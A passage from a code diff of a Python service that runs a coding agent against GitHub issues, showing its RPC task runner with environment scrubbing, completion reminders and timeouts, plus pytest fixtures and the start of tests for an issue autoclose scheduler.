|
||||
try:
|
||||
root_path.chmod(0o755)
|
||||
if chown_to_root:
|
||||
os.chown(root_path, 0, 0)
|
||||
except OSError as exc:
|
||||
log.warning("Failed to normalize agent home directory %s: %s", root_path, exc)
|
||||
|
||||
for name in dirs:
|
||||
path = root_path / name
|
||||
try:
|
||||
path.chmod(0o755)
|
||||
if chown_to_root:
|
||||
os.chown(path, 0, 0)
|
||||
except OSError as exc:
|
||||
log.warning("Failed to normalize agent home directory %s: %s", path, exc)
|
||||
|
||||
for name in files:
|
||||
path = root_path / name
|
||||
try:
|
||||
path.chmod(0o644)
|
||||
if chown_to_root:
|
||||
os.chown(path, 0, 0)
|
||||
except OSError as exc:
|
||||
log.warning("Failed to normalize agent home file %s: %s", path, exc)
|
||||
|
||||
|
||||
def _build_extra_env(settings: Settings) -> dict[str, str]:
|
||||
"""Build the env overlay passed to the omp subprocess.
|
||||
|
||||
`omp_rpc` merges this dict on top of `os.environ`, so overlaying empty
|
||||
strings for the sensitive keys is what actually masks them in the
|
||||
child — `del` on the parent's env would not help us here.
|
||||
"""
|
||||
del settings # kept for future hooks (model-specific env, etc.)
|
||||
_stage_agent_home()
|
||||
env = dict.fromkeys(_SCRUBBED_ENV_KEYS, "")
|
||||
if _AGENT_HOME.is_dir():
|
||||
env["HOME"] = str(_AGENT_HOME)
|
||||
return env
|
||||
|
||||
|
||||
_TERMINAL_TRIAGE_TOOLS: frozenset[str] = frozenset({"gh_open_pr", "mark_unable_to_reproduce", "abort_task"})
|
||||
_PR_REQUIRING_CLASSIFICATIONS: frozenset[str] = frozenset({"bug", "documentation"})
|
||||
|
||||
|
||||
def _needs_completion_reminder(
|
||||
*,
|
||||
task_kind: str,
|
||||
inputs: TaskInputs,
|
||||
bindings: ToolBindings,
|
||||
tools_called: set[str],
|
||||
) -> bool:
|
||||
"""True iff a `triage_issue` turn ended before reaching a terminal tool.
|
||||
|
||||
Only enforced for `bug` / `documentation` classifications — `question`,
|
||||
`enhancement`, `proposal`, `invalid`, `duplicate` terminate on a single
|
||||
`gh_post_comment` which we can't reliably distinguish from a preamble.
|
||||
"""
|
||||
if task_kind != "triage_issue":
|
||||
return False
|
||||
if bindings.abort is not None and bindings.abort.triggered:
|
||||
return False
|
||||
row = inputs.db.get_issue(bindings.issue_key)
|
||||
if row is None or row.classification not in _PR_REQUIRING_CLASSIFICATIONS:
|
||||
return False
|
||||
return not (tools_called & _TERMINAL_TRIAGE_TOOLS)
|
||||
|
||||
|
||||
def _drive_turn(
|
||||
client: RpcClient,
|
||||
initial_prompt: str,
|
||||
*,
|
||||
task_kind: str,
|
||||
inputs: TaskInputs,
|
||||
bindings: ToolBindings,
|
||||
tools_called: set[str],
|
||||
) -> Any:
|
||||
"""Run the initial prompt and, if the agent stopped early, send reminders.
|
||||
|
||||
Returns the final `Turn` (last `prompt_and_wait` result), or `None` when
|
||||
the agent intentionally pulled the plug via `abort_task`.
|
||||
"""
|
||||
settings = inputs.settings
|
||||
max_reminders = settings.task_completion_max_reminders
|
||||
|
||||
def _run(prompt: str) -> Any:
|
||||
try:
|
||||
return client.prompt_and_wait(prompt, timeout=settings.task_timeout_seconds)
|
||||
except (RpcError, RpcProcessExitError):
|
||||
# Did the agent intentionally pull the plug via `abort_task`?
|
||||
# If so, swallow — the abort path is a clean exit, not a
|
||||
# failure that should surface in the dashboard or trigger
|
||||
# a comment to the reporter. Anything else propagates.
|
||||
if bindings.abort is not None and bindings.abort.triggered:
|
||||
log.info(
|
||||
"rpc_aborted_by_tool",
|
||||
extra={"issue": bindings.issue_key, "task": task_kind, "reason": bindings.abort.reason},
|
||||
)
|
||||
return None
|
||||
raise
|
||||
|
||||
turn = _run(initial_prompt)
|
||||
if turn is None:
|
||||
return None
|
||||
|
||||
reminders_used = 0
|
||||
while reminders_used < max_reminders and _needs_completion_reminder(
|
||||
task_kind=task_kind, inputs=inputs, bindings=bindings, tools_called=tools_called
|
||||
):
|
||||
reminders_used += 1
|
||||
log.warning(
|
||||
"rpc_completion_reminder",
|
||||
extra={
|
||||
"issue": bindings.issue_key,
|
||||
"task": task_kind,
|
||||
"attempt": reminders_used,
|
||||
"max": max_reminders,
|
||||
},
|
||||
)
|
||||
reminder = persona.completion_reminder(repo=inputs.repo, issue=inputs.issue, workspace=inputs.workspace)
|
||||
next_turn = _run(reminder)
|
||||
if next_turn is None:
|
||||
return None
|
||||
turn = next_turn
|
||||
|
||||
if reminders_used and _needs_completion_reminder(
|
||||
task_kind=task_kind, inputs=inputs, bindings=bindings, tools_called=tools_called
|
||||
):
|
||||
log.warning(
|
||||
"rpc_completion_unfinished",
|
||||
extra={
|
||||
"issue": bindings.issue_key,
|
||||
"task": task_kind,
|
||||
"reminders": reminders_used,
|
||||
"tools_called": sorted(tools_called),
|
||||
},
|
||||
)
|
||||
return turn
|
||||
|
||||
|
||||
def _has_prior_session(session_dir: Path) -> bool:
|
||||
"""Return True iff `session_dir` already contains an omp JSONL transcript.
|
||||
|
||||
pi's `coding-agent` writes one `*.jsonl` per session into `--session-dir`.
|
||||
The presence of any such file is the signal that `--continue` will pick
|
||||
up the most recent transcript (`SessionManager.continueRecent`) rather
|
||||
than starting fresh.
|
||||
"""
|
||||
try:
|
||||
return any(session_dir.glob("*.jsonl"))
|
||||
except OSError:
|
||||
return False
|
||||
|
||||
|
||||
def _build_prompt(
|
||||
task_kind: str,
|
||||
inputs: TaskInputs,
|
||||
*,
|
||||
comment: CommentInfo | None,
|
||||
pr_number: int | None,
|
||||
review_payload: dict[str, Any] | None,
|
||||
directive: DirectiveInfo | None = None,
|
||||
resuming: bool = False,
|
||||
) -> str:
|
||||
if task_kind == "triage_issue":
|
||||
if resuming:
|
||||
return persona.resume_triage(repo=inputs.repo, issue=inputs.issue, workspace=inputs.workspace)
|
||||
if directive is not None:
|
||||
return persona.kickoff_directive(
|
||||
repo=inputs.repo,
|
||||
issue=inputs.issue,
|
||||
workspace=inputs.workspace,
|
||||
directive=directive,
|
||||
)
|
||||
return persona.kickoff(repo=inputs.repo, issue=inputs.issue, workspace=inputs.workspace)
|
||||
if task_kind == "handle_comment":
|
||||
assert comment is not None
|
||||
issue_row = inputs.db.get_issue(issue_key(inputs.repo.full_name, inputs.issue.number))
|
||||
if issue_row is None:
|
||||
pr_status = "no PR opened yet"
|
||||
elif issue_row.pr_number is None:
|
||||
pr_status = "no PR opened yet"
|
||||
elif issue_row.state == "merged":
|
||||
pr_status = f"PR #{issue_row.pr_number} was merged"
|
||||
elif issue_row.state in ("closed", "abandoned"):
|
||||
pr_status = f"PR #{issue_row.pr_number} was closed without merge"
|
||||
else:
|
||||
pr_status = f"PR #{issue_row.pr_number} is open"
|
||||
if directive is not None:
|
||||
return persona.directive(
|
||||
repo=inputs.repo,
|
||||
issue=inputs.issue,
|
||||
workspace=inputs.workspace,
|
||||
comment=comment,
|
||||
directive=directive,
|
||||
pr_status=pr_status,
|
||||
pr_number=pr_number,
|
||||
)
|
||||
return persona.followup_comment(
|
||||
repo=inputs.repo,
|
||||
issue=inputs.issue,
|
||||
workspace=inputs.workspace,
|
||||
comment=comment,
|
||||
pr_status=pr_status,
|
||||
pr_number=pr_number,
|
||||
)
|
||||
if task_kind == "handle_review":
|
||||
assert review_payload is not None
|
||||
path = str(review_payload.get("path") or "")
|
||||
start = review_payload.get("start_line") or review_payload.get("line")
|
||||
end = review_payload.get("line") or review_payload.get("original_line")
|
||||
if isinstance(start, int) and isinstance(end, int) and start != end:
|
||||
line_range = f":L{start}-L{end}"
|
||||
elif isinstance(end, int):
|
||||
line_range = f":L{end}"
|
||||
else:
|
||||
line_range = ""
|
||||
body = str(review_payload.get("body") or "")
|
||||
author = str(review_payload.get("author") or "")
|
||||
return persona.followup_review(
|
||||
repo=inputs.repo,
|
||||
workspace=inputs.workspace,
|
||||
pr_number=int(pr_number or 0),
|
||||
comment_author=author,
|
||||
comment_body=body,
|
||||
comment_path=path,
|
||||
comment_line_range=line_range,
|
||||
)
|
||||
raise ValueError(f"unknown task kind: {task_kind!r}")
|
||||
|
||||
|
||||
def _run_rpc_blocking(
|
||||
inputs: TaskInputs,
|
||||
*,
|
||||
task_kind: str,
|
||||
prompt: str,
|
||||
loop: asyncio.AbstractEventLoop,
|
||||
bindings: ToolBindings,
|
||||
directive: DirectiveInfo | None = None,
|
||||
) -> str | None:
|
||||
"""Run a full RPC turn synchronously. Returns final assistant text (or None)."""
|
||||
settings = inputs.settings
|
||||
|
||||
tools_called: set[str] = set()
|
||||
|
||||
def _on_tool_end(event: ToolExecutionEndEvent) -> None:
|
||||
tool_name = event.tool_name
|
||||
if event.result is not None:
|
||||
tools_called.add(tool_name)
|
||||
log.info(
|
||||
"tool_end",
|
||||
extra={
|
||||
"issue": bindings.issue_key,
|
||||
"tool": tool_name,
|
||||
"ok": event.result is not None,
|
||||
},
|
||||
)
|
||||
|
||||
def _on_msg(event: MessageUpdateEvent) -> None:
|
||||
ev = event.assistant_message_event
|
||||
if isinstance(ev, dict) and ev.get("type") == "text_delta":
|
||||
log.debug("delta", extra={"issue": bindings.issue_key, "delta": str(ev.get("delta", ""))[:200]})
|
||||
|
||||
rpc_env = _build_extra_env(settings)
|
||||
rpc_env.update(_prepare_slot_runtime_env(inputs.workspace, inputs.slot_uid))
|
||||
rpc_env.update(_safe_directory_env(bindings.workspace.repo_dir))
|
||||
rpc_env.update(_git_identity_env(inputs.settings.resolved_author_name, inputs.settings.git_author_email))
|
||||
resuming = _has_prior_session(bindings.workspace.session_dir)
|
||||
extra_args: tuple[str, ...] = ("--continue",) if resuming else ()
|
||||
log.info(
|
||||
"rpc_resume",
|
||||
extra={
|
||||
"issue": bindings.issue_key,
|
||||
"task": task_kind,
|
||||
"resuming": resuming,
|
||||
"session_dir": str(bindings.workspace.session_dir),
|
||||
"attempts": inputs.attempts,
|
||||
},
|
||||
)
|
||||
model_override, thinking_override = _resolve_pragma_overrides(directive, settings)
|
||||
chosen_model = model_override or settings.pick_model()
|
||||
chosen_thinking = thinking_override or settings.thinking_level
|
||||
log.info(
|
||||
"rpc_model_pick",
|
||||
extra={
|
||||
"issue": bindings.issue_key,
|
||||
"model": chosen_model,
|
||||
"pool": list(settings.model_pool),
|
||||
"thinking": chosen_thinking,
|
||||
"pragma_model": model_override,
|
||||
"pragma_thinking": thinking_override,
|
||||
},
|
||||
)
|
||||
inputs.db.set_event_model(inputs.delivery_id, chosen_model)
|
||||
|
||||
with RpcClient(
|
||||
executable=settings.omp_command,
|
||||
cwd=bindings.workspace.repo_dir,
|
||||
session_dir=bindings.workspace.session_dir,
|
||||
env=rpc_env,
|
||||
no_session=False,
|
||||
no_title=True,
|
||||
model=chosen_model,
|
||||
provider=settings.provider,
|
||||
thinking=chosen_thinking if chosen_thinking != "off" else None,
|
||||
append_system_prompt=persona.system_append(repo=inputs.repo, issue=inputs.issue, workspace=inputs.workspace),
|
||||
custom_tools=host_tools.build(bindings),
|
||||
request_timeout=settings.request_timeout_seconds,
|
||||
startup_timeout=60.0,
|
||||
max_event_history=50_000,
|
||||
extra_args=extra_args,
|
||||
user=inputs.slot_uid,
|
||||
group=inputs.slot_uid if inputs.slot_uid is not None else None,
|
||||
extra_groups=["omp"] if inputs.slot_uid is not None else None,
|
||||
) as client:
|
||||
# Arm cancellation: from this point the API can kill the omp subprocess
|
||||
# out from under us, which makes `prompt_and_wait` raise an `RpcError`
|
||||
# we'll let propagate. The `with` exit calls `client.stop()` again, but
|
||||
# it's idempotent.
|
||||
#
|
||||
# NOTE: omp_rpc.RpcClient.stop() has a bug where it sets `_stopping=True`
|
||||
# before the stdout reader loop notices the closed pipe, so the reader's
|
||||
# `if not self._stopping` guard skips `_mark_closed()` entirely.
|
||||
# `_wait_for_agent_end` then blocks on `_event_condition` until the hard
|
||||
# timeout because `_closed_error` is never set. We work around it here
|
||||
# by calling `_mark_closed()` ourselves after stop returns — this is
|
||||
# idempotent (it no-ops when `_closed_error` is already set).
|
||||
def _cancel_hook() -> None:
|
||||
try:
|
||||
client.stop()
|
||||
finally:
|
||||
# Private API, but the only way to unblock `_wait_for_agent_end`
|
||||
# without waiting for the request timeout. Idempotent.
|
||||
client._mark_closed( # noqa: SLF001
|
||||
RpcProcessExitError("cancelled by operator")
|
||||
)
|
||||
|
||||
if bindings.abort is not None:
|
||||
bindings.abort.stop = _cancel_hook
|
||||
register_cancel_hook(_cancel_hook)
|
||||
try:
|
||||
client.install_headless_ui()
|
||||
client.on_tool_execution_end(_on_tool_end)
|
||||
client.on_message_update(_on_msg)
|
||||
|
||||
phases = persona.seed_phases(task_kind)
|
||||
if phases:
|
||||
try:
|
||||
if task_kind == "triage_issue" and not resuming:
|
||||
# Fresh triage: seed the full plan.
|
||||
client.set_todos(phases)
|
||||
elif task_kind == "triage_issue":
|
||||
# Resumed triage: prior phases are intact in the
|
||||
# JSONL transcript — re-seeding would clobber any
|
||||
# in-progress task statuses. Trust the loaded state.
|
||||
log.info(
|
||||
"set_todos skipped (resume)",
|
||||
extra={"issue": bindings.issue_key, "task": task_kind},
|
||||
)
|
||||
else:
|
||||
# Follow-up: keep prior phases (e.g. Reproduce / Fix / PR)
|
||||
# so the agent still sees the context, but append the
|
||||
# follow-up phase at the end.
|
||||
existing = list(client.get_todos())
|
||||
merged = [
|
||||
{
|
||||
"id": p.id,
|
||||
"name": p.name,
|
||||
"tasks": [
|
||||
{
|
||||
"id": t.id,
|
||||
"content": t.content,
|
||||
"status": t.status,
|
||||
"notes": t.notes,
|
||||
"details": t.details,
|
||||
}
|
||||
for t in p.tasks
|
||||
],
|
||||
}
|
||||
for p in existing
|
||||
] + phases
|
||||
client.set_todos(merged)
|
||||
except RpcError as exc:
|
||||
log.warning("set_todos failed", extra={"err": str(exc)})
|
||||
|
||||
log.info(
|
||||
"rpc_start",
|
||||
extra={"issue": bindings.issue_key, "task": task_kind, "branch": bindings.workspace.branch},
|
||||
)
|
||||
hard_timeout_seconds = settings.task_timeout_seconds + settings.task_timeout_hard_grace_seconds
|
||||
hard_timeout_fired = threading.Event()
|
||||
|
||||
def _hard_stop() -> None:
|
||||
hard_timeout_fired.set()
|
||||
log.warning(
|
||||
"rpc_hard_timeout",
|
||||
extra={"issue": bindings.issue_key, "task": task_kind, "timeout": hard_timeout_seconds},
|
||||
)
|
||||
try:
|
||||
_cancel_hook()
|
||||
except Exception:
|
||||
log.exception(
|
||||
"rpc hard timeout stop failed", extra={"issue": bindings.issue_key, "task": task_kind}
|
||||
)
|
||||
|
||||
hard_timer = threading.Timer(hard_timeout_seconds, _hard_stop)
|
||||
hard_timer.daemon = True
|
||||
hard_timer.start()
|
||||
try:
|
||||
turn = _drive_turn(
|
||||
client,
|
||||
prompt,
|
||||
task_kind=task_kind,
|
||||
inputs=inputs,
|
||||
bindings=bindings,
|
||||
tools_called=tools_called,
|
||||
)
|
||||
if turn is None:
|
||||
return None
|
||||
finally:
|
||||
hard_timer.cancel()
|
||||
if hard_timeout_fired.is_set():
|
||||
raise TimeoutError("omp task exceeded hard timeout")
|
||||
log.info(
|
||||
"rpc_done",
|
||||
extra={
|
||||
"issue": bindings.issue_key,
|
||||
"task": task_kind,
|
||||
"messages": len(turn.messages),
|
||||
"events": len(turn.events),
|
||||
},
|
||||
)
|
||||
return turn.assistant_text
|
||||
finally:
|
||||
unregister_cancel_hook()
|
||||
|
||||
|
||||
async def run_task(
|
||||
*,
|
||||
task_kind: str,
|
||||
inputs: TaskInputs,
|
||||
comment: CommentInfo | None = None,
|
||||
pr_number: int | None = None,
|
||||
review_payload: dict[str, Any] | None = None,
|
||||
directive: DirectiveInfo | None = None,
|
||||
) -> str | None:
|
||||
"""Async wrapper that runs the synchronous RPC driver on a worker thread."""
|
||||
loop = asyncio.get_running_loop()
|
||||
bindings = ToolBindings(
|
||||
db=inputs.db,
|
||||
github=inputs.github,
|
||||
git_transport=inputs.git_transport,
|
||||
repo=inputs.repo,
|
||||
issue=inputs.issue,
|
||||
workspace=inputs.workspace,
|
||||
loop=loop,
|
||||
settings=inputs.settings,
|
||||
author_name=inputs.settings.resolved_author_name,
|
||||
author_email=inputs.settings.git_author_email,
|
||||
inbound_thread_number=pr_number,
|
||||
inbound_is_pr=pr_number is not None,
|
||||
slot_uid=inputs.slot_uid,
|
||||
abort=AbortController(),
|
||||
)
|
||||
resuming = _has_prior_session(inputs.workspace.session_dir)
|
||||
prompt = _build_prompt(
|
||||
task_kind,
|
||||
inputs,
|
||||
comment=comment,
|
||||
pr_number=pr_number,
|
||||
review_payload=review_payload,
|
||||
directive=directive,
|
||||
resuming=resuming,
|
||||
)
|
||||
try:
|
||||
result = await asyncio.to_thread(
|
||||
_run_rpc_blocking,
|
||||
inputs,
|
||||
task_kind=task_kind,
|
||||
prompt=prompt,
|
||||
loop=loop,
|
||||
bindings=bindings,
|
||||
directive=directive,
|
||||
)
|
||||
except BaseException:
|
||||
# Failed/aborted task: NEVER capture, the artifacts may be inconsistent
|
||||
# with the source state and would poison the cache.
|
||||
raise
|
||||
else:
|
||||
await asyncio.to_thread(_capture_natives_cache, inputs)
|
||||
return result
|
||||
|
||||
|
||||
def _capture_natives_cache(inputs: TaskInputs) -> None:
|
||||
"""Best-effort: store the workspace's fresh natives under its current key.
|
||||
|
||||
Runs after a successful task on a worker thread. ANY failure is logged
|
||||
and swallowed — cache errors NEVER fail a task.
|
||||
"""
|
||||
cache = inputs.natives_cache
|
||||
if cache is None:
|
||||
return
|
||||
workspace = inputs.workspace
|
||||
native_dir = workspace.repo_dir / "packages" / "natives" / "native"
|
||||
if not native_dir.exists():
|
||||
return
|
||||
try:
|
||||
key = natives_compute_key(workspace.repo_dir)
|
||||
except Exception as exc:
|
||||
log.debug(
|
||||
"natives_cache capture key compute failed",
|
||||
extra={"workspace": workspace.workspace_key, "err": str(exc)},
|
||||
)
|
||||
return
|
||||
try:
|
||||
stored = cache.capture(
|
||||
workspace.repo_full_name,
|
||||
key,
|
||||
native_dir,
|
||||
source_workspace=workspace.workspace_key,
|
||||
)
|
||||
except Exception as exc:
|
||||
log.warning(
|
||||
"natives_cache capture failed",
|
||||
extra={"workspace": workspace.workspace_key, "key": key, "err": str(exc)},
|
||||
)
|
||||
return
|
||||
log.info(
|
||||
"natives_cache",
|
||||
extra={
|
||||
"action": "stored" if stored is not None else "skip",
|
||||
"workspace": workspace.workspace_key,
|
||||
"repo": workspace.repo_full_name,
|
||||
"key": key,
|
||||
"cache_dir": str(stored) if stored else None,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
__all__ = ["DirectiveInfo", "TaskInputs", "ThreadMessage", "run_task"]
|
||||
@@ -0,0 +1,154 @@
|
||||
"""Common pytest fixtures."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
from robomp.config import Settings, reset_settings_cache
|
||||
from robomp.dashboard import reset_index_cache, static_dir
|
||||
from robomp.db import Database, close_database
|
||||
|
||||
# Minimum HTML the dashboard handler needs to render: `<title>` plus a script
|
||||
# block carrying the `__ROBOMP_CONFIG__` sentinel. The real Vite-built bundle
|
||||
# adds JS/CSS asset links; tests only care about the rendering contract.
|
||||
_PLACEHOLDER_INDEX_HTML = (
|
||||
"<!doctype html>\n"
|
||||
'<html lang="en">\n'
|
||||
' <head><meta charset="utf-8"><title>robomp</title></head>\n'
|
||||
" <body>\n"
|
||||
' <div id="app"></div>\n'
|
||||
' <script id="robomp-config" type="application/json">__ROBOMP_CONFIG__</script>\n'
|
||||
" </body>\n"
|
||||
"</html>\n"
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True, scope="session")
|
||||
def _ensure_dashboard_bundle() -> None:
|
||||
"""Guarantee a renderable dashboard bundle for the whole session.
|
||||
|
||||
The real bundle is produced by `bun run web:build`; CI and fresh clones
|
||||
might not have run it yet. We only synthesise an `index.html` when one
|
||||
isn't already present, so a developer's locally-built bundle isn't
|
||||
clobbered by the test run.
|
||||
"""
|
||||
directory = static_dir()
|
||||
index = directory / "index.html"
|
||||
if not index.exists():
|
||||
index.write_text(_PLACEHOLDER_INDEX_HTML, encoding="utf-8")
|
||||
reset_index_cache()
|
||||
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _open_tmp_path_for_slot_traversal(tmp_path: Path) -> None:
|
||||
"""Grant traverse (`+x`) on tmp_path's root-owned ancestors so slot
|
||||
subprocesses can reach the workspace.
|
||||
|
||||
pytest's default ``tmp_path`` lives under ``/tmp/pytest-of-<user>/`` with
|
||||
mode ``0700``. On macOS dev that's irrelevant (no slot subprocess ever
|
||||
drops uid). On Linux+root the slot UID (e.g. 2001) is non-zero and
|
||||
every directory between ``/`` and the workspace needs at least the
|
||||
`o+x` bit or the slot's stat fails with EACCES. Adds `o+x` (NOT `o+r`)
|
||||
so directory contents stay private; only path-traversal is allowed.
|
||||
"""
|
||||
import os
|
||||
import platform
|
||||
import stat
|
||||
|
||||
if platform.system() != "Linux" or os.geteuid() != 0:
|
||||
return
|
||||
cursor = tmp_path.resolve()
|
||||
while cursor != cursor.parent:
|
||||
try:
|
||||
st = cursor.stat()
|
||||
except FileNotFoundError:
|
||||
break
|
||||
if not stat.S_ISDIR(st.st_mode):
|
||||
break
|
||||
if not (st.st_mode & 0o001):
|
||||
try:
|
||||
cursor.chmod(st.st_mode | 0o001)
|
||||
except PermissionError:
|
||||
break
|
||||
cursor = cursor.parent
|
||||
|
||||
def _baseline_env(tmp_path: Path) -> dict[str, str]:
|
||||
return {
|
||||
# Orchestrator-mode: no PAT in this container; talk to gh-proxy instead.
|
||||
"ROBOMP_GH_PROXY_URL": "http://gh-proxy.invalid:8081",
|
||||
"ROBOMP_GH_PROXY_HMAC_KEY": "test-hmac-key-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
"GITHUB_WEBHOOK_SECRET": "test-webhook-secret",
|
||||
"ROBOMP_BOT_LOGIN": "robomp-bot",
|
||||
"ROBOMP_GIT_AUTHOR_NAME": "robomp-bot",
|
||||
"ROBOMP_GIT_AUTHOR_EMAIL": "robomp-bot@example.invalid",
|
||||
"ROBOMP_REPO_ALLOWLIST": "octo/widget",
|
||||
"ROBOMP_MODEL": "anthropic/claude-sonnet-4-5",
|
||||
"ROBOMP_THINKING": "high",
|
||||
"ROBOMP_WORKSPACE_ROOT": str(tmp_path / "workspaces"),
|
||||
"ROBOMP_SQLITE_PATH": str(tmp_path / "robomp.sqlite"),
|
||||
"ROBOMP_LOG_DIR": str(tmp_path / "logs"),
|
||||
# Production default is `/data/cache/pi-natives` (provisioned by the
|
||||
# container entrypoint). Tests need a writable, isolated path; we also
|
||||
# default-disable the cache so its background GC loop doesn't add
|
||||
# noise to event-dispatcher timing assertions. Tests that want the
|
||||
# cache flip `ROBOMP_NATIVES_CACHE_ENABLED=true` explicitly.
|
||||
"ROBOMP_NATIVES_CACHE_ROOT": str(tmp_path / "natives-cache"),
|
||||
"ROBOMP_NATIVES_CACHE_ENABLED": "false",
|
||||
}
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def env(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> dict[str, str]:
|
||||
env = _baseline_env(tmp_path)
|
||||
for key, value in env.items():
|
||||
monkeypatch.setenv(key, value)
|
||||
# Defensive: a stray `.env` or shell export must not flip us into PAT mode.
|
||||
# `monkeypatch.delenv` would let pydantic_settings fall back to the .env
|
||||
# file; setenv("") is what actually shadows the file value, and the
|
||||
# `_blank_token_disables` validator treats empty strings as unset.
|
||||
monkeypatch.setenv("GITHUB_TOKEN", "")
|
||||
monkeypatch.delenv("ROBOMP_PROVIDER", raising=False)
|
||||
monkeypatch.setenv("ROBOMP_REPLAY_TOKEN", "")
|
||||
reset_settings_cache()
|
||||
yield env
|
||||
reset_settings_cache()
|
||||
close_database()
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def proxy_env(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> dict[str, str]:
|
||||
"""Baseline env for the gh-proxy container: holds the PAT, no proxy vars."""
|
||||
baseline = _baseline_env(tmp_path)
|
||||
baseline.pop("ROBOMP_GH_PROXY_URL", None)
|
||||
baseline.pop("ROBOMP_GH_PROXY_HMAC_KEY", None)
|
||||
baseline["GITHUB_TOKEN"] = "ghp_test_token_value_xxxxxxxxxxxxxxxx"
|
||||
for key, value in baseline.items():
|
||||
monkeypatch.setenv(key, value)
|
||||
# Same defense-in-depth as `env`: setenv("") rather than delenv so
|
||||
# pydantic_settings doesn't fall back to the on-disk `.env` file.
|
||||
monkeypatch.setenv("ROBOMP_GH_PROXY_URL", "")
|
||||
monkeypatch.setenv("ROBOMP_GH_PROXY_HMAC_KEY", "")
|
||||
monkeypatch.delenv("ROBOMP_PROVIDER", raising=False)
|
||||
monkeypatch.setenv("ROBOMP_REPLAY_TOKEN", "")
|
||||
reset_settings_cache()
|
||||
yield baseline
|
||||
reset_settings_cache()
|
||||
close_database()
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def settings(env: dict[str, str]) -> Settings:
|
||||
cfg = Settings() # type: ignore[call-arg]
|
||||
cfg.ensure_paths()
|
||||
return cfg
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def db(tmp_path: Path) -> Database:
|
||||
path = tmp_path / "test.sqlite"
|
||||
database = Database(path)
|
||||
yield database
|
||||
database.close()
|
||||
@@ -0,0 +1,191 @@
|
||||
"""Coverage for `AutocloseScheduler` against in-process fakes."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from collections.abc import Iterable
|
||||
|
||||
import pytest
|
||||
from pydantic import SecretStr
|
||||
|
||||
from robomp.autoclose import AutocloseScheduler
|
||||
from robomp.config import Settings
|
||||
from robomp.db import Database, issue_key
|
||||
from robomp.github_client import GitHubError, ReactionInfo
|
||||
|
||||
|
||||
def _settings(*, enabled: bool = True, hours: float = 4.0, scan: float = 60.0) -> Settings:
|
||||
return Settings.model_construct(
|
||||
github_token=None,
|
||||
github_webhook_secret=SecretStr("x"),
|
||||
bot_login="robomp-bot",
|
||||
git_author_email="bot@example.invalid",
|
||||
repo_allowlist_raw="octo/widget",
|
||||
gh_proxy_url="http://proxy.invalid",
|
||||
gh_proxy_hmac_key=SecretStr("k" * 32),
|
||||
question_autoclose_enabled=enabled,
|
||||
question_autoclose_hours=hours,
|
||||
question_autoclose_scan_seconds=scan,
|
||||
)
|
||||
|
||||
|
||||
class _FakeGitHub:
|
||||
"""Minimal GitHubBackend stand-in for the scheduler.
|
||||
|
||||
Only `list_comment_reactions` and `close_issue` are exercised; everything
|
||||
else raises so a misuse here surfaces loudly instead of silently.
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
*,
|
||||
reactions: Iterable[ReactionInfo] = (),
|
||||
close_error: GitHubError | None = None,
|
||||
) -> None:
|
||||
self._reactions = tuple(reactions)
|
||||
self._close_error = close_error
|
||||
self.close_calls: list[tuple[str, int, str]] = []
|
||||
self.reaction_calls: list[tuple[str, int]] = []
|
||||
|
||||
async def list_comment_reactions(self, repo: str, comment_id: int) -> tuple[ReactionInfo, ...]:
|
||||
self.reaction_calls.append((repo, comment_id))
|
||||
return self._reactions
|
||||
|
||||
async def close_issue(self, repo: str, number: int, *, reason: str = "completed") -> None:
|
||||
self.close_calls.append((repo, number, reason))
|
||||
if self._close_error is not None:
|
||||
raise self._close_error
|
||||
|
||||
|
||||
_KEY = issue_key("octo/widget", 42)
|
||||
|
||||
|
||||
def _seed(db: Database, *, close_at: str = "2000-01-01T00:00:00.000000Z") -> None:
|
||||
db.upsert_pending_closure(
|
||||
issue_key=_KEY,
|
||||
repo="octo/widget",
|
||||
number=42,
|
||||
comment_id=999,
|
||||
issue_author="alice",
|
||||
close_at=close_at,
|
||||
)
|
||||
|
||||
|
||||
async def test_tick_closes_when_no_author_downvote(db: Database) -> None:
|
||||
_seed(db)
|
||||
gh = _FakeGitHub()
|
||||
sched = AutocloseScheduler(settings=_settings(), db=db, github=gh)
|
||||
counts = await sched.tick()
|
||||
assert counts == {"closed": 1, "cancelled": 0, "retried": 0}
|
||||
assert gh.close_calls == [("octo/widget", 42, "completed")]
|
||||
row = db.get_pending_closure(_KEY)
|
||||
assert row is not None and row.state == "closed"
|
||||
assert row.cancel_reason is None
|
||||
|
||||
|
||||
async def test_tick_cancels_when_author_downvotes(db: Database) -> None:
|
||||
_seed(db)
|
||||
gh = _FakeGitHub(
|
||||
reactions=[ReactionInfo(content="-1", user_login="Alice", user_type="User")],
|
||||
)
|
||||
sched = AutocloseScheduler(settings=_settings(), db=db, github=gh)
|
||||
counts = await sched.tick()
|
||||
assert counts == {"closed": 0, "cancelled": 1, "retried": 0}
|
||||
assert gh.close_calls == []
|
||||
row = db.get_pending_closure(_KEY)
|
||||
assert row is not None and row.state == "cancelled"
|
||||
assert row.cancel_reason == "author_downvoted"
|
||||
|
||||
|
||||
async def test_tick_ignores_downvote_from_non_author(db: Database) -> None:
|
||||
"""Watchers / drive-by 👎 from anyone other than the author do not veto."""
|
||||
_seed(db)
|
||||
gh = _FakeGitHub(
|
||||
reactions=[
|
||||
ReactionInfo(content="-1", user_login="rando", user_type="User"),
|
||||
ReactionInfo(content="-1", user_login="some-bot", user_type="Bot"),
|
||||
],
|
||||
)
|
||||
sched = AutocloseScheduler(settings=_settings(), db=db, github=gh)
|
||||
counts = await sched.tick()
|
||||
assert counts == {"closed": 1, "cancelled": 0, "retried": 0}
|
||||
assert gh.close_calls == [("octo/widget", 42, "completed")]
|
||||
|
||||
|
||||
async def test_tick_retries_after_transient_close_error(db: Database) -> None:
|
||||
_seed(db)
|
||||
gh = _FakeGitHub(close_error=GitHubError(502, "Bad Gateway"))
|
||||
